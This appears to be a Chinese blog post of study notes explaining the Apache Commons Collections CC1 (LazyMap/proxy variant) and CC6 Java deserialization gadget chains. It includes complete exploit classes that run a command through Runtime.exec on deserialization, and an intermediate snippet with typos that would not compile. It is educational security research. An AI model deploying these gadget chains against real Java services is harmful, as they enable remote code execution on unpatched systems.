java反序列化Commons-Collection篇02-CC6链
前情提要：
文章学习来自b站白日梦组长视频讲解，如有错误，请各位大佬提出orz！！！
环境配置
pom.xml
cc1补充：
继承cc1，只不过用的不是transformerMap方法了，用的是LazyMap中一个get方法，它同样也调用了transformer方法
接下来就是找谁调用了get方法，然后在AnnotationInvocationHandler类中的有一个参数memberValues是可以控制的，就是我们传入的map
然后发现在AnnotationInvocationHandler类中的invoke方法中memberValues调用了get方法
然后动态代理的调用处理器类就是AnnotationInvocationHandler，然后其中的invoke是只要一个代理的任意方法调用就会执行这个invoke方法
所以就必须要生成一个动态代理，然后这个动态代理带调用的是AnnotationInvocationHandler这个调用处理器类
然后这个代理是需要实现一个接口的，所以这时候我们需要找一个接受那个接口的东西，然后这里面找到的还是AnnotationInvocationHandler，因为他可以接受map，所以只需要让动态代理实现这个map就好了
前面说了invoke是只要调用任意方法就可以执行，但是需要执行到我们的memberValues.get这里就需要通过前面的两个if
- 第一个if是说如果调用equals方法，就会return，所以不能用equals方法
- 第二个if是说如果你调用的是一个有参方法，就会抛出异常，所以也不能用有参方法
这时候刚好前面发现的那个memberValues.entrySet()方法就是一个无参方法
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.springframework.core.env.Profiles;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1_memory {
public static void main(String[] args)throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// HashMap<Object,Object> map=new HashMap<>();
// map.put("value","111");
// Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
//
// Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
// annotationInvocationHandlerConstructor.setAccessible(true);
// Object o=annotationInvocationHandlerConstructor.newInstance();
// serialize(o);
// unserialize("ser.bin");
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer);
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h=(InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
//serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
注意:
这个方法的话对jdk的版本要求比较高，需要在jdk1.8.0.65 之前才可以
区别是：
jdk1.8.0.65之后对AnnotationInvocationHandler做了一些处理，就是AnnotationInvocationHandler里的readobject代码里的membervalue参数不可控了
cc6
不受限于jdk的版本，要求低一些
这里是对改进之后的cc1做了一个处理
这里是找到了TiedMapEntry类里面的hashcode方法，里面使用getvalue方法，而getvalue方法又调用了map.get，这样就和上面的get连在一起了，到时候就可以改成lazymap.get
然后hashmap.readobject中的hash是对key进行put，然后走到hashcode
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{},new Object[]{})
new InvokerTransformer("invoke",new Class[]{},new Object[]{})
new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"})
}
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers)
HashMap<Object,Object>map=new HashMap<>();
Map<Object,Object>lazyMap=LazyMap.decorate(map,new ConstantTransformer(1))
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa";)
Class c=LazyMap.class;
Filed factoryFiled=c.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer)
这里解释两个问题，
第一个:就是为什么要反射获取lazymap类：
原因是map2.put就会调用hash进而调用hashcode然后直接把这条链走完，所以我们需要把链子后面断掉，这里反射修改的就是lazymap的factory方法，把传参的key变成一个没用的东西，这样链子就中断了，
第二个是为什么要在put之后把key删掉？
这是因为如果不删的话，链子到lazymap的get方法这里会给key放回去，这样就导致反序列化时候就已经有key了，这样就导致反序列化的时候当执行的lazymap.get方法的时候，就会导致过不了那个if(如下图)，从而导致不会执行transformer方法，所以反序列化就不能执行
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
cc6完整exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args)throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbbb");
lazyMap.remove("aaa");
Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
//serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
浙公网安备 33010602011771号